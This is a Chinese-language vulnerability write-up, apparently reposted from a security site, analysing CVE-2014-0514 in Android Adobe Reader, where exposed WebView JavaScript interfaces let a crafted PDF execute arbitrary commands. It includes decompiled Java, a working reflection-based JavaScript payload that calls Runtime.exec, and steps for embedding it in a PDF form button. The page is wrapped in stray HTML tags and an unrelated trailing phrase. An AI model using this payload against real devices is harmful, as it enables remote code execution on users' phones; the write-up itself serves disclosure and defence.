<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/papers/1440

            0x00 描述


            前幾天老外在fd還有exploit-db上,公布了Adobe Reader任意代碼執行的漏洞。

            漏洞編號:?CVE: 2014-0514

            AdobeReader安裝量比較大,又和瀏覽器容器不同,分析一下。

            Android Adobe Reader 調用webview的不安全的Javascript interfaces。

            導致可以執行任意js代碼。具體查看WebView中接口隱患與手機掛馬利用

            影響版本:

            理論上Android Adobe Reader 11.2.0之前的版本多存在,Android version 11.1.3成功利用。

            我查看了之前的幾個版本例如Android Adobe Reader 11.1.2 如下圖,問題也應該存在。

            enter image description here

            0x01利用


            從反編譯出來的java代碼看

            #!java
            public class ARJavaScript
            {
            [...]
            
            ???public ARJavaScript(ARViewerActivity paramARViewerActivity)
            ???{
            [...]
            ??????this.mWebView.addJavascriptInterface(new ARJavaScriptInterface(this), "_adobereader");
            ??????this.mWebView.addJavascriptInterface(new ARJavaScriptApp(this.mContext), "_app");
            ??????this.mWebView.addJavascriptInterface(new ARJavaScriptDoc(), "_doc");
            ??????this.mWebView.addJavascriptInterface(new ARJavaScriptEScriptString(this.mContext), "_escriptString");
            ??????this.mWebView.addJavascriptInterface(new ARJavaScriptEvent(), "_event");
            ??????this.mWebView.addJavascriptInterface(new ARJavaScriptField(), "_field");
            ??????this.mWebView.setWebViewClient(new ARJavaScript.1(this));
            ??????this.mWebView.loadUrl("file:///android_asset/javascript/index.html");
            ???}
            

            _adobereader,_app,_doc,_escriptString,_event,_field這幾個變量都會存在任意代碼執行的問題.

            利用代碼和之前一樣。

            #!java
            function execute(bridge, cmd) {
            ???return bridge.getClass().forName('java.lang.Runtime')
            ??????.getMethod('getRuntime',null).invoke(null,null).exec(cmd);
            }
            
            if(window._app) {
            ???try {
            ??????var path = '/data/data/com.adobe.reader/mobilereader.poc.txt';
            ??????execute(window._app, ['/system/bin/sh','-c','echo \"Lorem ipsum\" > ' + path]);
            ??????window._app.alert(path + ' created', 3);
            ???} catch(e) {
            ??????window._app.alert(e, 0);
            ???}
            }
            

            這里不同是構造 惡意的PDF。

            首先需要一個PDF編輯器,比如Adobe Acrobat(flash達人pz推薦).

            然后添加表單按鈕或者書簽等,調用事件添加

            enter image description here

            我這里看了下button最好演示,和老外的那個poc一樣基本上.

            導入到android虛擬機里,打開,成功復現。

            enter image description here

            0x02 擴展


            一些網盤或瀏覽器,看看能否調用adobe reader來預覽pdf的應用可能會存在這個漏洞,大部分應用都是直接下載pdf到本地。可以再測試一些能預覽pdf的郵箱之類的應用。

            0x03 修復


            新版本的Adobe Reader 11.2.0 [email protected]tInterface,老版本的用戶則在adobereader禁用了表單的js執行。 不知道那些殺毒軟件能不能檢測到這些惡意poc呢 :)

            附上poc.pdf

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线